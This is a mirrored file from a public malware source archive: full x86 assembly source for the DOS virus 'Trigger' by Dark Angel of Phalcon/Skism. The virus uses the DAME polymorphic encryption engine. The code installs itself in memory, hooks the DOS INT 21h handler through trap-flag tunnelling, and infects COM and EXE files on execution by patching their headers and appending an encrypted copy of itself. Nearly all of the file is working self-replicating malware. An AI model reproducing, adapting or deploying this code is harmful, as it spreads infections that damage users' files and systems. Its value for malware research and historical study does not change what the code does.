mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
501 lines
10 KiB
NASM
501 lines
10 KiB
NASM
.model tiny
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.code
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.radix 16
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org 0
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viruslength = (heap - entry)
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virussizeK = (endvirus - entry + 3ff) / 400
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virussizepara = (virussizeK)*40
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EXE_ID = 'PS'
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entry:
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call past
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next:
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db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
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db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
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db 0Dh,0A,0
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checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
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past: cld
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pop bp
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mov ax,0cf0
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mov bx,'DA'
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int 21
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cmp bx,'GH'
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jnz no_trigger
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trigger:
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push ds
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push es
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push cs
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pop ds
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xor ax,ax
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checkagain:
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lea si,[bp+checkstub-next]
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mov es,ax
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xor di,di
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mov cx,8
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rep cmpsw
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jz trigger_it
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inc ax
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cmp ax,0a000
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jb checkagain
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jmp exit_trigger
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trigger_it:
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mov [bp+patch-next],ax
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mov ds,ax
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mov byte ptr ds:73,0cbh
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push bp
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mov bp,-80
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jmp short $+2
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db 09a ; call far ptr
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dw 1
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patch dw ?
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pop bp
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mov byte ptr ds:73,1f
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exit_trigger:
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pop es
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pop ds
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jmp short restore
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no_trigger:
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mov ax,4b90
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int 21
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cmp ax,bx
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jz restore
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push ds
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push es
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mov ax,ds
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dec ax
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mov ds,ax
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sub word ptr ds:3,virussizepara
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sub word ptr ds:12,virussizepara
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mov es,ds:12
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push cs
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pop ds
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xor di,di
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lea si,[bp+offset entry-offset next]
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mov cx,(viruslength + 1)/2
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rep movsw
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xor ax,ax
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mov ds,ax
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sub word ptr ds:413,virussizeK
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mov di,offset oldint21
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mov si,21*4
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movsw
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movsw
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cli
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pushf
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pushf
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pop ax
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or ah,1
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push ax
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mov ds:1*4+2,es
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mov word ptr ds:1*4,offset int1_1
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popf
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mov ah,30
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pushf
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call dword ptr ds:21*4
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popf
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lds si,dword ptr es:oldint21
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mov di,si
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lodsw
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mov word ptr es:int21patch1,ax
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lodsw
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mov word ptr es:int21patch2,ax
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lodsb
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mov byte ptr es:int21patch3,al
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push ds ; es:di->int 21 handler
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push es
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pop ds ; ds->high segment
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pop es
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mov al,0ea
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stosb
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mov ax,offset int21
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stosw
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mov ax,ds
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stosw
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sti
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pop es
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pop ds
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restore:
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cmp sp,-2
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jnz restoreEXE
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restoreCOM:
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lea si,[bp+readbuffer-next]
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mov di,100
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push di
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movsw
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movsw
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ret
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restoreEXE:
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mov ax,ds
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add ax,10
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add cs:[bp+readbuffer+16-next], ax
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add ax,cs:[bp+readbuffer+0e-next]
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mov ss,ax
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mov sp,cs:[bp+readbuffer+10-next]
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jmp dword ptr cs:[bp+readbuffer+14-next]
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readbuffer dw 20cdh
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dw 0bh dup (?)
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int1_1:
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push bp
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mov bp,sp
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push ax
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mov ax, [bp+4] ; get segment
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cmp ax, cs:oldint21+2
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jae exitint1
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mov cs:oldint21+2,ax
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mov ax, [bp+2]
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mov cs:oldint21,ax
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exitint1:
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pop ax
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pop bp
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iret
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int1_2:
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push bp
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mov bp,sp
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push ax
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mov ax,cs
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cmp ax,[bp+4]
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jz exitint1
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mov ax,[bp+4]
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cmp ax,cs:oldint21+2
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jnz int1_2_restore
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mov ax,[bp+2]
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cmp ax,cs:oldint21
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jb int1_2_restore
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sub ax,5
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cmp ax,cs:oldint21
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jbe exitint1
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int1_2_restore:
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push es
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push di
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cld
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les di,dword ptr cs:oldint21
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mov al,0ea
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stosb
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mov ax,offset int21
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stosw
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mov ax,cs
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stosw
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pop di
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pop es
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and [bp+6],0feff
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jmp exitint1
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install:
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mov bx,ax
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iret
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int21:
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cmp ax,4b90
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jz install
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push ds
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push di
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lds di,dword ptr cs:oldint21
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mov word ptr ds:[di],1234
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int21patch1 = $ - 2
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mov word ptr ds:[di+2],1234
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int21patch2 = $ - 2
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mov byte ptr ds:[di+4],12
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int21patch3 = $ - 1
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pop di
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pop ds
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cld
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cmp ax,4b00
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jz infect
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exitint21:
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push ds
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push ax
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xor ax,ax
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mov ds,ax
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cli
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mov word ptr ds:1*4,offset int1_2
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mov ds:1*4+2,cs
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sti
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pushf
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pop ax
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or ah,1
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push ax
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popf
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pop ax
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pop ds
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db 0ea
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oldint21 dw 0, 0
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callint21:
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pushf
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call dword ptr cs:oldint21
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ret
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already_infected:
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pop dx
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pop cx
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mov ax,5701
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call callint21
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mov ah,3e
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call callint21
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exitnoclose:
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mov ax,4301
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pop dx
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pop ds
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pop cx
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call callint21
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exitinfect:
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pop es
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pop ds
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pop di
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pop si
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pop bp
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pop bx
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pop dx
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pop cx
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pop ax
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jmp exitint21
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infect:
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push ax
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push cx
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push dx
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push bx
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push bp
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push si
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push di
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push ds
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push es
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mov ax,4300
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call callint21
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push cx
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push ds
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push dx
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mov ax,4301
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xor cx,cx
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call callint21
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mov ax,3d02
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call callint21
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jc exitnoclose
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xchg ax,bx
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mov ax,5700
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int 21
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push cx
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push dx
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mov ah,3f
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mov cx,18
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push cs
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pop ds
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push cs
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pop es
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mov dx,offset readbuffer
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mov si,dx
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call callint21
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jc already_infected
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mov di,offset writebuffer
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mov cx,18/2
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push si
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push di
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rep movsw
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pop di
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pop si
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mov ax,4202
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xor cx,cx
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cwd
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int 21
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cmp word ptr [di],'ZM'
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jnz infectCOM
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infectEXE:
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cmp readbuffer+10,EXE_ID
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go_already_infected:
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jz already_infected
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mov ds:writebuffer+4,ax
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mov ds:writebuffer+2,dx
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mov cx,10
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div cx
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sub ax,ds:writebuffer+8
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mov ds:writebuffer+14,dx
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mov ds:writebuffer+16,ax
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xchg cx,dx
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mov ds:writebuffer+0e,ax
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mov ds:writebuffer+10,EXE_ID
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mov al,10b
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jmp finishinfect
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infectCOM: ; si = readbuffer, di = writebuffer
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push ax
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mov cx,4
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xor dx,dx
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check_infection_loop:
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lodsb
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add dl,al
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loop check_infection_loop
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pop ax
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or dl,dl
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jz go_already_infected
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mov dx,18
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cmp ax,dx
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jnb no_fixup_com
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mov ax,4200
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xor cx,cx
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int 21
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no_fixup_com:
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mov cx,ax
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inc ch ; add cx,100
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sub ax,3
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push ax
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mov al,0e9
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stosb
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pop ax
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stosw
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add al,ah
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add al,0e9
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neg al
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stosb
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mov al,11b
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finishinfect:
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cbw
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; ax = bitmask
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; bx = start decrypt in carrier file
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; cx = encrypt length
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; dx = start encrypt in virus
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; si = buffer to put decryption routine
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; di = buffer to put encryption routine
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push bx
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xchg cx,bx
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xor si,si
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mov di,offset copyvirus
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mov cx,(heap-entry+1)/2
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rep movsw
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push ax
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call rnd_init_seed
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pop ax
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mov dx,offset copyvirus
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mov cx,viruslength
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mov si,offset _decryptbuffer
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mov di,offset _encryptbuffer
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call dame
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push cx
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cmp ds:writebuffer,'ZM'
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jnz no_fix_header
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mov dx,ds:writebuffer+2
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mov ax,ds:writebuffer+4
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add cx,viruslength
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add ax,cx
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adc dx,0
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mov cx,200
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div cx
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or dx,dx
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jz nohiccup
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inc ax
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nohiccup:
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mov ds:writebuffer+4,ax
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mov ds:writebuffer+2,dx
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no_fix_header:
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call di
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pop cx
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pop bx
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mov ah,40
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mov dx,offset _decryptbuffer
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call callint21
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mov ah,40
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mov cx,viruslength
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mov dx,offset copyvirus
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call callint21
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mov ax,4200
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xor cx,cx
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cwd
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int 21
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mov ah,40
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mov cx,18
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mov dx,offset writebuffer
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call callint21
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jmp already_infected
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vars = 0
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include dame.asm
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heap:
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vars = 1
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include dame.asm
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writebuffer dw 0c dup (?)
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_encryptbuffer: db 80 dup (?)
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_decryptbuffer: db 180 dup (?)
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copyvirus db viruslength dup (?)
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db 20 dup (?)
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endvirus:
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end entry
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